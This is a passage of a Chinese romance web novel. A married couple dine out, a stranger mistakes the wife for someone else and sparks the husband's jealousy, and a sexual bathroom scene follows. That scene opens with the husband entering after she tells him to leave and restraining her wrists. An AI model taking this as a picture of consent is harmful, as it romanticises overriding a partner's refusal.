尽头是一面巨大的落地窗,透过玻璃可以看到外面的城市夜景,整个城市的繁华都在这里化作了背景。而在窗边,一架三角钢琴静静伫立,钢琴师正用娴熟的手指弹奏出一曲温柔而动听的旋律。 餐厅的侍者也无可挑剔。 云听刚坐下,就有侍者轻声走到她身边,将椅子往前推了一下,确保她坐得更舒适。 “女士,您的手提包可以放在这个专用架上,以免弄脏。”侍者语气轻柔,将一个小巧的手袋架摆在她身边,细腻的皮革与金属边角一看便知是特制的。 他递上的菜单中,每一道菜的名字都充满诗意,菜品描述细致到用料的来源和烹饪技巧。 云听面露难色,稍稍犹豫了一下,侍者立刻心领神会:“请问需要推荐吗?如果您喜欢清淡口味,可以试试我们的经典白松露意面,松露来自意大利阿尔巴地区,刚刚空运到达,搭配香槟最为合适。” “香煎布列塔尼龙虾尾也是我们的招牌。” “选用当天空运的新鲜龙虾,搭配紫苏泡沫和柑橘汁,非常清新,适合第一次尝试的客人。” 云听抬起头,见徐清聿正在翻看酒单,她问:“徐清聿…你有想吃的吗?” 徐清聿说:“我也是第一次来这里。” 他继续说:“如果不知道吃什么,就按照服务生推荐的。” “嗯,好的。”云听把菜单还给侍者,“上一些你们的招牌吧。” “那两位需要酒吗?” 徐清聿回:“不需要。” 侍者走后。 又一阵钢琴声响起,悠扬的旋律在耳边流淌,为这间餐厅点缀上了更加浪漫的气息。 云听看到徐清聿正在回消息。 她像一个痴汉,一动不动地盯着他的脸。 心跳不安地在胸腔中跳动,徐清聿真的做到连睫毛都长在她的审美上。 不过,她还没见过徐清聿的身材呢。 心中冒出几分好奇… 云听咬了咬唇。 在徐清聿放下手机的后一秒,她快速收回视线,若无其事地转向钢琴处。 徐清聿早已察觉到对面火热的视线,回消息的手指顿了顿。 706: 迟妄:「餐厅怎么样?@徐清聿」 余姚星:「清聿,你不要太爱你老婆!」 迟妄:「你们不知道,徐少让我帮忙的时候,我都惊呆了!!」 迟妄:「以前哪次不是我们三求他帮忙,果然有老婆了就是不一样!!」 迟妄:「没想到我们寝室最不可能结婚的第一个结婚。」 孙芮昀:「别说了,哥也想结婚了。」 徐清聿:「谢。」 … “你不喜欢这里?”徐清聿放下手机。 云听摇头笑了笑:“不是,只是没想到你会带我来这种地方。” 徐清聿低头整理了下袖口,说:“朋友推荐,说这里适合约会。” 闻言,云听不由自主地想入非非,这场晚餐是约会吗? 这是她和徐清聿第一次单独出去吃饭,第一次约会。 云听低头喝了口水,压下欣喜,“我喜欢,谢谢你。” 发丝从耳后轻轻滑落,恰巧遮住了她的表情。 她是高兴的。 徐清聿看得出来。 他说:“云听,我没有和其他人约会过。” “有人推荐这家餐厅,我就带你来。如果你不喜欢,以后我们就不来。” 徐清聿想。 云听昨晚看到他笑时,她很惊讶,但是他却没有见过云听对他笑。 云听喝醉时埋怨他不和她说话,实则不然,云听好像也不愿意和他说话。 就连在床上,她也会刻意咽下自己的声音。 云听大概不知道,她的喘息声有多好听。 * 晚饭后,两人先去买睡衣。 云听挑了几件,都是最普通的棉质长袖款。 “这些就可以了吧。”她将几件睡衣折叠好,抱在怀里。 徐清聿站在一旁看着她挑选的衣服,想起曾经云闻误发给他的照片。 云听穿着吊带睡衣,纤瘦又柔软的模样。 可在他面前,手腕和脚腕都不露一点儿,未免过于保守了些。 眉心几不可察地拧了一下。 徐清聿抬起眼睛,语气淡淡地说:“有点不方便。” 云听停下手中的动作,困惑地看向他:“不方便?什么不方便?” “床上。” “床上怎么了?有什么不方便的吗?” 徐清聿冷脸去付钱:“没事。” 没事,脱一条也是脱,脱两条也是脱。 从睡衣店出来后,两人又去买日常的衣服。 云听走在前面,让导购不用跟着,径直走向基础款区。徐清聿在外面接电话。 云听刚选好两套衣服,一个高大的身影猛地冲了过来,毫无预兆地抱住了她。 他的头发是金色的,卫衣是黄色的,加上速度之快,云听差点儿以为一只金毛窜了出来。 她挣扎了一下,陌生的力量压过来,让她无法呼吸。 “真的是你!好巧啊,云云!五个小时不见,你怎么换了一种风格?” 云听愣住,转头看去,那个人高大且结实,长得很年轻,身高接近一米九,浑身上下散发着让她很不自在的热情。 而且他的胸。肌很硬,哪怕隔着厚厚的衣服,也硌得疼。 “你认错人了。”云听不明白眼前的这个男生为什么会如此熟络地叫她“云云”,她印象里自己不认识这号人,于是用力挣脱男生的怀抱。 男生靠近了一步,像一只大型犬一样讨好似的挤眉弄眼,“云云,你那个不行的老公呢?为什么不和你一起买衣服?” 不行的…老公? 云听完全懵了,第一反应是想自己在网上有没有无话不谈的网友。 排除了一圈,没有。 更可怕的是,徐清聿会不会误会啊? 天地可鉴,她从来没说过徐清聿不行! 徐清聿已经走了过来,两人的谈话不知被他听了多少。 空气中的温度直线下降,云听小跑过去拉扯徐清聿的袖子,小声说,“徐…清聿…你不要误会啊,我真的不认识他。” 男生“啧”了一声,上下打量徐清聿:“你就是那个名字娘里娘气的,什么玉是吧,这脸长得比女生还漂亮,怪不得不行。” 话音未落,云听感受到徐清聿身上的气息瞬间变得锋利,雪松的香气来势汹汹,一股强烈的压迫感将她包围。 那种香气不仅仅是清新,还有一种无可忽视的侵略性,让她的呼吸变得困难。 完了,她不会对雪松香也过敏了吧? 男生没有意识到他已经惹怒了徐清聿,自顾自地说,“云云,你 怎么现在买这么朴素的衣服?你不是最爱穿短裙吗?。” “你之前穿那个吊带包臀裙,简直太美了,真是让我眼前一亮。” “……”云听冷静下来解释,“你真的认错人了。” “我没有认错,云云,我知道你嫌弃我年纪小,但是我会为了你变成熟,我也可以做小三…我不介意的。” 云听:“……” 这句话如同火星落进了油锅,让云听心情开始走向失控的边缘。 她的耐心已经所剩无几,再加上徐清聿在旁边一言不发,那种无声的压迫感更是让她心中涌起一阵不安。 她害怕徐清聿会误会。 “我真的不认识你!你别再说这些莫名其妙的话了!” “云云,没事,我不介意你老公在场的。” “你够了!”云听的声音变得尖锐,她的忍耐终于被击破。 她猛地抬起头,死死盯着眼前的金毛男生,脸上的怒意从未如此明显过,“我说了,我不认识你!你到底想干什么?” 金毛仍一副吊儿郎当的表情:“云云,你发脾气的样子好可爱,比白天可爱!” 向来温软的云听深吸了一口气,声音里带着她少有的暴躁:“你是不是有病?!听不懂人话吗?我跟你一点关系都没有,我不是你口中的‘云云’,也没穿过什么包臀裙!别再在这里纠缠了,滚远一点!” 周围一片沉寂。 金毛被她怒火吓得彻底噤声,嘴巴微微张着,表情定格在难以置信的错愕中。 过往的一个顾客感受到这一片刻的紧张,匆匆从旁边绕开。 徐清聿沉下脸,冷声问:“还不走吗?” 金毛见云听真的生气了,讪讪地道歉,“云云,对不起,我以后不会开这种玩笑了。” “对不起啊,云云,那我不打扰你们了……” 当事人云听吼完之后,心里已经凉了一大截,刚刚的怒火来得太快,但此刻回过神来,她开始后悔了。 只要一碰到和徐清聿有关的事情,她的智商就会直接下降为负数…明明可以更冷静一点的… 完了…徐清聿会不会觉得她脾气太差? 云听垂下头,紧张地捏着自己的手指,连头发都跟着沮丧起来,像是失去了生气的垂柳。 不过她很快察觉到,空气中的雪松香淡了一些,不再是之前压迫性的浓烈。 徐清聿看到她这副模样,忽然觉得有些新奇,也有些……可爱。 他垂眸,伸出手轻轻摸了摸她的头发,动作缓慢而温柔,像是在安抚一只受惊的小动物。 指尖划过云听柔软的发丝,他的嘴角微微扬起,眼中闪过一抹似有若无的笑意。 “云云。” “…嗯?”云听被他这一声轻唤弄得不明所以,下意识地抬起头。 徐清聿望着她,语气平静,“刚刚那副样子,很凶。” “我……”云听有口难辩。 她刚刚的确是失控了,但那是因为她不想让他误会自己,她只是想让那个金毛男生闭嘴而已。 “很凶,但也很可爱。”徐清聿眼微眯,嘴角的笑意越发明显。 可爱? 云听松了口气,脸一红,问:“你不生气吗?” 徐清聿说:“生气。” 所以徐清聿还是不相信自己… 云听还想挽救一下,:“徐清聿,我真的不认识他…” 徐清聿:“我知道。” “啊…你知道…?” “嗯。” “那你,知道你为什么…还要生气?” “不生气。”徐清聿突然改口。 第24章 第二十四章 “我进来,和你一起”…… “不生气。” 徐清聿说这话时, 不染烟火的脸上,笑意极淡,几乎不可察, 但细微的弧度让他的清冷多了几分说不清的狡黠和轻狂。 云听的心跳化作拨乱的琴弦,快了一拍 一想到徐清聿罕见夸她可爱,单纯的她信以为真,他真的不生气。 起初, 当听到金毛叫她云云的时候,云听有想过他认错人,但很快否认了,因为姐姐说过,她的朋友、同事都不会称呼她“云云”。云闻也是怕外人搞混她们俩, 所以会特地强调一遍。 后来,听到金毛男说,包。臀。裙,云听更是把云闻排除在外。 云闻厌恶穿包臀裙。 六年前,云闻第一次向家里说想成为一名模特时, 一开始所有人都不赞成。 尽管两人的爸妈算开明,但这样的职业选择仍超出了他们的接受范围。 云渡是学术研究者,终日沉浸在书籍与实验中,对社会的复杂和人心的诡谲了解甚少;孟妍则精于人际周旋, 能在各种场合中如鱼得水,她虽然不至于明着反对, 但流露出隐隐的不赞同。 云闻性子直,想什么就说什么,对人也是,喜欢就是喜欢, 厌恶就是厌恶,讨厌人际交往的虚情假意,偶尔会因言辞过于直接而得罪人。 “模特这行不好做,工作不稳定,也没什么保障。”孟妍沉吟说。 云闻站了出来:“我想靠自己,谁不是从零开始?要试过了才知道,失败了再找别的路就是。” 后来在她的软磨硬泡之下,爸妈勉为其难容易,同时,他们也早早地划清了界限——既然选择了这条路,就要自己承担后果,他们不会也无法提供任何帮助。 但云闻很快发现,模特界远没有她想象得那样简单。这个圈子并不单纯是靠努力和天赋就能站稳脚跟的地方。 资源、机遇、背景——这些因素往往比能力本身更重要。尤其对于毫无依靠的新人而言,四处碰壁是常态。 最开始的那几年,云听陪云闻跑了无数的试镜,也接过一些小品牌和商拍的单子。 收入少,但有了些许经验。 至少那会儿云闻是快乐的。 让云闻彻底改变对模特行业看法的,是一次不愉快的拍摄经历。 那时候,她还在为某个三线品牌拍广告,因为预算有限,摄影师和造型师都敷衍了事,随便抓了一件包。臀。裙给她穿。 裙子设计得很紧身,勾勒出玲珑的曲线,色调鲜艳而艳俗。 云闻对这类衣服并没有太大偏见,但那天的拍摄后,让她从此对包臀裙心生排斥。 摄影师不断要求她摆出更大胆、更妩媚的姿势,让她露出介于冷艳与妩媚之间的笑容。 那种目光,那些话语,让她感到极为不适,却又无法拒绝。 毕竟,模特是“服务”于摄影和品牌的,从某种意义上来说,她们只是被塑造的“画面”。 拍摄结束后,她本以为这不过是一次普通的工作,却没想到,这组照片传出去后,引来了无数令人作呕的评论。 那些“低俗”的赞美,尤其是来自一些中年男人的目光和评价,让她几乎崩溃。 有人说她“媚俗”,有人私下笑她“为了成名什么都愿意做”,甚至还有人通过各种方式试图联系她。那段时间,云闻每天都在手机上删除陌生信息,神情越来越憔悴。 “不过是一件包臀裙,为什么要搞得那么骚?”有熟人私下讽刺她。 那次的经历,让她彻底对包臀裙心生厌恶,那不是一件普通的衣物,而是一场羞辱的象征。 后来,只要涉及到类似的拍摄要求,云闻都会果断拒绝,哪怕失去机会。她说:“成不了名没关系,我至少要活得干干净净。” 云听想,如果不是金毛认错人,那就是云闻有事瞒着自己。 她更偏向后者。 已经快九点,商场内的喧嚣丝毫未减,但云听只想速战速决,好回家歇一歇。 她抬手捻起几件简单柔软的毛衣,瞥了瞥吊牌上的价格和尺寸,没有过多犹豫。 这时,一个穿着鲜亮的女人领着一个小男孩走进店里。 男孩看上去五六岁的模样,手里挥舞着一架玩具飞机模型,绕着他妈妈转来转去,兴奋得像只脱缰的小鹿。 “妈妈要买衣服,不要跑太快!”女人低声训斥。 但玩上头的小男孩哪里听得进去,他一个猛冲,朝云听所在的方向跑了过来。 玩具飞机的翅膀在空中挥舞,险些打到路过的顾客。 云听听到一阵急促的脚步声,转头时小男孩已经近在眼前,像一阵风般袭来,撞上她的侧腰。 她后退,可为时已晚, 脚步一乱,身体猛地晃了一下,差点跌倒。 徐清聿稳稳地搂住她的腰,将她拉到一旁。 “站稳了。” 刚刚还肆意奔跑的小男孩停下脚步,但没有意识到自己的不对。 “哎呀,真是不好意思!”女人匆匆追上来,一把拉住小男孩的手,把他按在自己身边,满脸歉意地看向两人。 “孩子不懂事,跑得太快了,吓到你们了吧?”她连连道歉,另一只手拍了拍男孩的肩膀,“快,跟哥哥姐姐说对不起。” 小男孩不情愿地嘟起嘴,小声说道:“哥哥姐姐,对不起。” 云听回过神来:“没事的,小孩子,下次不要跑这么快。” 她说着,转头看徐清聿,只见他眸色深沉近墨,落在孩子的身上,语气略冲:“看好孩子。” “抱歉抱歉,”女人再次道歉后领着小男孩离开,一边走一边骂,越骂越气,又重重地敲了他的头,“我说了多少遍了,商场不要乱跑,你不听是吗?” 小插曲一过。 云听捧着几件衣物走向收银台。 拿出钱包,准备掏卡,徐清聿先一步将卡递了过去。 “我来。” 云听把卡收回去,她知道徐清聿绝不会让她付钱。 结账完成,徐清聿提起购物袋递给她,冷淡道:“拿好。” 云听接过袋子,心底一片茫然。 徐清聿真的没有生气吗? 可是为什么她感受到一种冷意? 徐清聿从未让她和云闻的手里多拿过一件东西。 每次出门,只要有他在,袋子、盒子、甚至是再琐碎不过的小件物品,都会被他不动声色地接过去。 那种照顾,不夹杂任何情感的波动,只是礼貌的、恰到好处的风度与教养。 因为云听总是听徐奶奶教育他,“男孩子要有责任感,身边的女生,无论是长辈、姐妹,还是朋友,都不能让她们多受累。这不是讨好,而是礼仪和风度。” 她想不明白哪里出了问题,胸口像堵了一块棉絮,闷闷的。 街灯的光洒在冬夜冰冷的路面上,行人的影子被拉得很长,融入无尽的夜色中。 寒风从街口钻过,刺骨的凉意吹动两人的衣角。 云听左手插进衣兜,购物袋的带子勒在右手指缝里,她握得很紧。 徐清聿走在她前方,眉峰压得很低,呼出的白气在寒夜中散开。 两人一前一后走着,徐清聿的步伐不算快。 云听默默跟在后面,保持不远不近的距离,目光一会儿落在他肩上的线条,一会儿移向铺满雪花的地面。 低头时发现鞋带松散地拖在地上。 她停下脚步,单膝微弯,将购物袋放在地上,系鞋带。 手指因为太冷没有知觉,系鞋带略显笨拙,第一次系得太松,第二次又太紧。 等云听站起身时,发现徐清聿在等自己。 他没有回头,但身形偏向她的方向, 她抿了抿唇,悄悄加快步伐,缩短两人之间的距离。 路灯光影交错,他们的影子重叠又分离,似近似远,在无声中追逐,又始终保持一份明显的克制。 终于,云听忍不住了,小跑两步追上他的步伐。脚下的积雪被压出浅浅的痕迹,发出“咯吱咯吱”的声响。 “徐清聿……如果你生气了,可以跟我说。” “我没有生气。” “可是你看起来……”云听停顿,斩钉截铁,“跟平时不一样。” 冬日的寒风毫不留情地吹拂而过。 云听紧了紧围巾,指尖因为紧握袋子已经有些发红,冷风像刀割一样,刺入骨髓。 虽然袋子不重,但手指被勒得还是有些疼,又因为寒冷,她的右手看起来像是冻僵了一般,止不住颤抖。 徐清聿停下脚步,眉头微蹙。 云听吸了吸鼻子,鼻翼翕动,像只受了风寒的小动物。水润的眼睛因寒冷十分晶亮,透出些许无辜又可怜的光。 尽管冷得瑟瑟发抖,她还是扬起下巴,抬手把散乱的头发拢到耳后,笑了一下。 傻傻的笑。 徐清聿没有说话,注视她的手,看到她手指上被勒出的红印和红彤彤的鼻尖,心底一阵烦躁。 他问:“很重?” 云听迟疑:“没什么,就是几件衣服。你不是让我自己提……衣服也不重。” 徐清聿将袋子从她手中拽过,用力大得让她的手腕一晃。 他看到她颤抖的手指,心中不悦,又不想显得太在意,随即转过头,语调冷淡:“你这双手,能提什么东西?” 云听还未来得及回话,手腕被一股热力包住。徐清聿抓住她冰凉的手,强硬地用自己的温度覆盖上去。 “你……”她想抽回手,却被他握得更紧。 徐清聿没有看她,盯着远处的车灯,语气含几分别扭:“别乱动。” 他的手很大,轻而易举地包裹住她的整只手。 云听垂下眼,看着他的手掌扣住自己的手背,掌心传来的热度明显,让她冰凉的手慢慢暖了起来。 “谢谢…” 徐清聿的眼神自她纤细的手腕一路向上,停在她微抿的唇边。 唇线很柔,唇色淡淡的。 他尝过,很软。 徐清聿知道这不是云听的错,知道她完全无辜。可是她身上刺鼻的橙子香味,浓烈且不合时宜。 那香气,他一闻便知道,是刚才那个男生身上的味道。 酸甜明快,热烈的张扬。 像阳光下刚剥开的橙子,汁水溅开的刹那有种恣意的洒脱,又夹杂着青春的冲劲与蓬勃的生命力。 Elliot曾揶揄过他:“Zeph,像你这么古板的工作狂,又一大把年纪,活得和老头一样,你老婆不会嫌弃你吗?” 徐清聿当时轻描淡写地回:“嫌弃也忍着。” 他知道心中的愤怒源自何处,也知道自己为何会产生强烈的嫉妒感。 他不相信感情会来得这么快,但是他好像比想象中还要在乎她。 他仔细检查过云听的衣服,不重,才放心让她自己提着。可看到她略显吃力的模样,心中又疼惜。 徐清聿心中翻涌着复杂的情绪,两股截然不同的力量在彼此拉扯。 一方面,他想要拒绝,想要将这份感情从心底驱逐出去。毕竟,爱人的世界不属于他,牵涉太深只会让他迷失自我。 作为云听的丈夫,他的职责就是守护她,履行应尽的义务,而不是让情感左右一切。 理智的声音会不断地提醒他,要把她当作自己生活中的一部分,尊重她、照顾她,但却不该让爱意混入其中。 但是每次看见她的眼睛,他就会不由自主地沉溺其中,云听的一举一动都能触动他内心最柔软的地方。 …… 云听的手已经渐渐回暖,徐清聿没有松开,他开口,“走吧。” 走了几步,徐清聿停下,眼梢下拉,冷冷地问:“那个男生,是不是抱你了?” 云听眼皮一跳,那算抱吗? “我不知道那算不算抱……”她说,“当时我没来得及反应。” 徐清聿不语。 云听觉得他今天反常的源头是因为金毛抱了她,开口问:“你是不是因为他抱我生气?” 徐清聿眼神没有变化,冷冰冰丢过来几个字:“不知道。我不喜欢你身上的味道。” 原来他闻到了。 橙子味道很淡很淡,她想徐清聿应该不会留意的。 上车后,云听咬唇,坐得笔直,一言不发地盯着徐清聿,耳尖悄悄染上了一抹红,“我也不喜欢这个味道,我回去就洗澡…” 徐清聿:“嗯。” 云听望着他不自在的模样,突然觉得有些新奇,心底升起一股忍不住想笑的冲动。 确实没憋住。 她笑了。 云听眼睛很大,明亮而清澈,当她笑起来时,眼睛会弯起,眼尾弯成一道柔和的弧线,像极了初升的月牙。 徐清聿撇过头,“笑什么?” 云听没有回答,眼珠黑亮,粲然生光,教人移不开眼。 徐清聿收回视线,正视前方,语气冷硬,“坐 好,别影响我开车。” “好的。” 云听很听徐清聿的话。只要他开口,她从来不会反驳。 车子驶过一个弯道,她乖乖地调整坐姿,双手放在膝盖上,安安静静地坐好。 一分钟后,云听拿起手机给辛亦桐发消息,把事情的前因后果全盘托出,解开心中的疑团。 她把和徐清聿的每个细节都说了一遍,包括他突然的冷漠、对那个男生的态度。 辛亦桐虽然距离远,但每次都能迅速洞察她的情绪,这次也不例外。 辛亦桐:「啊啊啊云云,你真是的,怎么就不明白!」 辛亦桐:「徐清聿就是吃醋了!这还用想吗?问你是不是被抱过,还说不喜欢你身上的味道,这种话换成谁听不出来是闹情绪啊?他不说,他那张臭脸都写满了‘不高兴’好吧。」 云听:「可是…他从来没有…」 辛亦桐:「从来没有什么?对你生气?还是对你这么在意?」 辛亦桐:「云云,你别被他那副冷脸骗了,这种人就是典型的闷骚,心里明明翻江倒海,嘴上硬得跟块石头一样,打死不承认。」 辛亦桐谈过不少恋爱,和她一个恋爱小白不一样。 她经历过从热烈到冷却的各种情感波动,早已对男人的心思了如指掌,甚至能准确预测他们在不同情境下的反应。 她也能看透别人心里最隐秘的情绪,特别是在爱情这件事上,她的经验比任何人都要丰富。 辛亦桐继续打字,像是个阅人无数的感情导师:「要不然你觉得,他干嘛管你被不被抱?还嫌你身上的味道难闻?他自己可能都没意识到这是吃醋,但我告诉你,他心里早就炸开锅了。」 云听看辛亦桐头头是道的分析,心情复杂。她知道辛亦桐能一针见血看穿男人的心思,可这一次,她很不确定。 徐清聿真的会像她说的那样,因她和另一个男生有些许接触而心生嫉妒吗? 云听偷偷看了看徐清聿的侧脸,心里有些动摇,但她很快将情绪压了下去。 她知道徐清聿是个什么样的人,冷静、理智,她从未见他失控,所以酸涩的嫉妒情绪,云听不相信会在他身上发生。 徐清聿不会吃醋的。 如果非要用什么来解释他刚才的反常,或许是:占有欲。 * 云听回到家的第一件事,就是去浴室。 满脑胡思乱想,大脑反复回放着琐碎的片段。 她本想借热水清醒一下,没承想越洗越心浮气躁。 十分钟后。 她关水,伸手去拿挂在浴室门后的睡衣,却摸了个空。 云听懊恼地敲了敲自己的额头。抬眼看挂钩上空空如也,她的脸唰地一下热了起来。 打开门直接出去是不可能的。 新买的睡衣没洗过,吊牌没摘,她不想穿,嫌脏。 “怎么办……” 她盯着雾蒙蒙的镜子,自言自语。踌躇了片刻,她犹豫着掀开一条门缝,伸出头,试探地叫了一声:“徐清聿……你在吗?” “嗯。” 徐清聿声音自带磁性,好听极了。 “帮我拿一下睡衣…可以吗?” 很快,脚步声从远及近,在浴室门前停下。 “拿来了。” 他懒洋洋地说了一声。 浴室门只开了一条细小的缝隙,朦胧的水汽从缝中弥散出来。 云听没脸见他,将手从门缝中伸出去:“给我吧。” 湿润的水汽在她的手背上凝成细小的水珠,顺着指尖缓缓滑落。 她的指甲修剪得整齐圆润,手腕纤细得一捧就能圈住,像一段精致的瓷器,皮肤晶莹得能看见细小的血管在跳动。 徐清聿失神,眯起眼睛。而后扬起嘴角,伸出手握住了她的手腕。 柔软而温热的触感从指腹传来。 他感觉到她的脉搏在轻跳,如蝴蝶的翅膀轻轻扇动。 这个能被轻易折断的地方只属于他。 “你——”云听一惊,低呼出声。 “云听,有点瘦了。”徐清聿说。 “徐清聿,你先放开!”云听急了,另一只手抓住门沿,用力抽回手,却徒劳无功。 徐清聿嘴唇一撇,泛起慵懒的弧度:“你在怕什么?” 说着,他顺势推开门,动作利落,不给她反应的机会。 浴室里弥漫着温暖的水汽,空气湿热,云听整个人笼在一片薄雾中,肌肤微红,眉眼羞恼。 她条件反射地后退了一步,抬手挡在身前,无比慌乱。 “你……你进来干什么?”云听的声音在颤抖,眼睛瞪得大大的,既羞涩又恼怒。 徐清聿淡定回:“和你一起洗。” 他早已收敛笑容,眼神平静落在云闻身上。目光没有过分流连,但像是一把火,顺着她的肌肤一路灼烧,从头皮到脚后跟。 “什么?”水珠顺着云听湿润的发丝滑落,沿着脖颈流淌到锁骨处。她张了张嘴:“一起…一起洗?” 徐清聿往前走了一步,俯下身靠近她,重复了一遍:“我说,我进来,和你一起洗。” 他的声音压得很低,低到能绕过她的耳廓,直接钻进心底。 那句暧昧到极致的话,含有极强的侵略性。 云听连忙后退,然而身后的墙已经堵住了所有退路。 她双手护在胸前,用仅有的浴巾遮住自己,但薄薄的布料早已湿透,没有任何遮掩效果。 “快出去!”她咬牙。 小兔子竖起毛,又害怕地缩在角落。 徐清聿迈步向前,直逼到她面前,抬起手握住她的肩膀,紧紧地将她按在墙上。 “站稳了。”他低声说,手松开,却没有完全离开,而是扶住她的腰。 云听抬手想推开他,但手刚触到他的胸膛,就被他一把握住。 徐清聿的手轻轻松松地扣住她的手腕,将她的所有反抗压制在他掌心,“别动。” “你——”云听刚要开口,被他突如其来的动作打断。 徐清聿低下头,精准地捕捉到她的唇,直接吻了上去。 这个吻深沉而炽热,要将她整个人吞噬。 水汽氤氲间,云听的抵抗逐渐被瓦解,唇上炽热的温度,彻底扰乱了她的心跳与理智。 她的双手无力地垂在身侧,指尖微微颤抖,最后不知不觉地攀上了徐清聿的肩膀,任由他引导着自己,一点一点陷入这场无法抗拒的深吻中。 徐清聿的唇舌侵略性地撬开云听的齿关,霸道地将所有的情绪都传递给她。 不知过了多久,他松开了她的唇,但又没有离开。 他的额头抵着她的,低垂的目光灼热。 “云听。”他的声音沙哑又性感,手还在下方摸索,“你…嗯?” 云听睁开迷蒙的双眼,大口喘息,脸上的红晕蔓延到了耳根。 她不甚自在别过头,大胆放肆地嘟囔了一句:“徐清聿…混蛋……” 徐清聿用湿漉漉的手指捋了捋她被水打湿的发丝,问,“还想继续吗?” 云听在这一刻真的很“讨厌”徐清聿,看似把主动权交给自己,实则仍在他身上。 她嗔了他一眼,声若蚊蚋,哼唧了一声,还是没能抵抗诱惑:“想、想的…” 这一眼,惊艳了徐清聿。那双湿润的眸子染上了几分欲。望,又不失矜持,脸颊因为情绪微微泛红,像是三月里绽放的桃花,美得不可方物。 徐清聿笑,后退一步:“接吻太费劲,算了。” 他又道:“高中起就没长个?” 云听失语:“我…” 话还没说完,云听感觉身体一轻。下一秒,她被他一把抱了起来。 “你干什么!”她双手赶紧攀住他的肩膀,整个人悬空半空,心跳快得几乎要炸开。 “这样就高了。”徐清聿淡声,“比我高了。” 他的双手平稳地托住 云听的腿,将她的身体牢牢地固定在自己的身前。 因为姿势的原因,云听双腿不由自主地夹住了他的腰,近得没有任何缝隙。 她被徐清聿困在墙边,背后是冰冷的瓷砖,胸前是他炽热的胸膛,反差强烈得让她心跳如雷。 徐清聿再一次吻上她的唇。 这一次,刚才更深、更霸道,云听的呼吸已乱,脑袋发昏。 身上的浴巾松动了一下,无声无息地滑落到了地上。 “我的……”云听想说话,却被徐清聿按着后脑勺继续吻,不给她任何分心的机会。 四片唇瓣辗转剧烈,云听的理智被撞的破碎不堪,恍惚中她看到徐清聿发红的眼尾,有一种说不上来的欲。 徐清聿的另一只手从她的腰间上移,指尖贴着她的肌肤,云听浑身一颤,羞涩得恨不得立刻逃开,但被他困在怀里,动弹不得。 直到云听快要喘不过气,徐清聿才离开她的唇,唇齿间拉出一丝浅浅的湿润光泽。 他的吻从锁骨滑落,顺着她的曲线向下,最终停在了她胸口的上方。 唇停顿了一瞬,徐清聿轻喘了一下,他蓄意放慢动作,留给她足够的时间感受这份灼热的触碰。 “徐清聿…” 徐清聿抬起头,漂亮的眼睛带着一种让人难以拒绝的蛊惑,“云听,帮我把眼镜摘了。” 云听抖动湿漉漉的长睫,听话照做,手足无措地拿着他的眼镜。 徐清聿:“拿好了。” 第25章 第二十五章 “不如一起,我不想等”…… 徐清聿没有停下, 唇瓣时轻时重,一点一点地在她胸口留下粉色的痕迹,星星点点的烙印逐渐连成一道暧昧的轨迹。 云听微仰着头, 指尖扣住他的肩膀,唇间泄出几不可闻的喘息声,彻彻底底陷入徐清聿制造的漩涡中。 她抬手想要推他,却无法撼动他分毫, 那点儿力气对他而言不过是象征性地挠痒痒。 一边是徐清聿越来越紧密的吻,带来的刺激让她脑袋一片空白;另一边手上还拿着他的金丝眼镜,手指只敢轻轻搭在镜架上,生怕稍一用力就会将它捏坏。 这小小的物件比什么都娇贵。 进退两难。 “混蛋……”云听又咬牙骂了一句。 被逼到角落的小兔子,终于竖起柔软的小爪子反抗, 软绵绵地拍到徐清聿的脸上。 “怕什么?”徐清聿没有生气,安抚似的啄了下云听的唇角。 炙热的气息灌进她的鼻息,云听的心也跟着徐清聿的攻势一沉一浮。 “徐清聿…你的……眼镜……”她气息紊乱地提醒,话语断断续续,早已没有威慑力。 徐清聿吻得更深:“记住, 不要弄坏。” “唔……”云听不由发出一声低低的呜咽,手指一松,眼镜即将滑落。 她猛地回过神,赶紧攥紧眼镜, 手心已经出了一层薄薄的汗,镜架有些滑腻, 根本握不稳。 “快……快拿不住了……”她小声喘息着,声音颤抖得厉害,向徐清聿求救。 徐清聿视而不见,装聋作哑。 半晌, 他才大发慈悲收手。 云听的双腿已经被抽去力气,软得无法支撑自己的身体。 她脚刚一触地,膝盖就不受控制地一软,身子险些滑倒。 徐清聿搂住她,等她站稳才放开手:“站不稳?” 云听羞得脸通红,强撑着站直,嘴硬地回了一句:“我、我才没有!” 可刚说完,脚下又一踉跄,身体直直地往前栽去。 徐清聿眼疾手快一把扶住她的腰,将她拉回到自己怀里。她的额头撞上了他的胸膛,鼻尖萦绕着他清冽的气息,耳根烧得愈发滚烫。 “没有?看起来不像。” “我、我只是……只是有点累!”云听辩解。 徐清聿松开手,退后半步,淡淡道:“嗯,站好。” 接着他抬起手,干脆地一把拉起了自己的毛衣下摆,脱下上衣。 云听的目光不受控制地落在他裸露的上半身上。 徐清聿的胸膛平坦结实,线条流畅不过分夸张。腹部肌肉紧实,隐隐可见的纹路随着他动作的停顿而绷紧。 他的皮肤很白,但因为刚才的“运动”微微泛起淡淡的粉色,带着一种禁欲而诱人的反差感。 再往下,是一双笔直修长的腿。 他弯腰脱裤子时,脊梁骨从颈后一直延伸到窄腰,形成一道优雅的弧线。肩胛骨突起,像致命的符号,轻易撩动人心。 当他慢慢直起身,脊背随之舒展开来,腰部自然收紧,又性感无比。 云听怔怔地看着,忘了移开视线。直到徐清聿低头将脱下的裤子随手丢到一旁,偏过头,平静地开口:“看够了吗?” “我、我没有看!”她的声音拔高几度,脸颊红得要滴血。 徐清聿朝她走来,长腿交叠间拉长了整个空间的视觉,轻松碾压一切。那双腿从腰部到脚踝的比例近乎完美。 云听眨了眨眼,被眼前的景象晃了神。 一。丝。不。挂的徐清聿… 徐清聿在她面前停下,“一起洗,快点。” 云听磕磕巴巴,视线找不到落脚点。 向左能看到墙壁反射出两人亲密的模样,隐约模糊;向右又能从镜子里看到一切,暧昧又清晰;向上是徐清聿闪动谷欠望的眼睛,向下是…,她紧紧闭上眼睛,“可,我已经洗完了。” 徐清聿手指上沾了晶莹,“是吗?” 云听冒出丁点儿小怨气,:“我…我…还不是因为你…” 徐清聿神色淡漠,陈述一件事实:“你自己站不稳,动作又慢,耽误时间。不如一起洗,我不想等。” 云听:“……” * 两人从卫生间出来已经12点13分。 云听身穿徐清聿的睡衣,一手撑着门框,脸色还未完全褪去的红晕昭示着她方才凌厉的折腾。 “累死了。”她喃喃自语。 徐清聿跟在她身后,露出的脊背上可见几道鲜红的抓痕,肩膀处有一个清晰的大咬痕,鲜明刺目。 都是她的杰作。 云听垂下眼睫,她是无心的。 徐清聿今晚和吃了c.药一样。 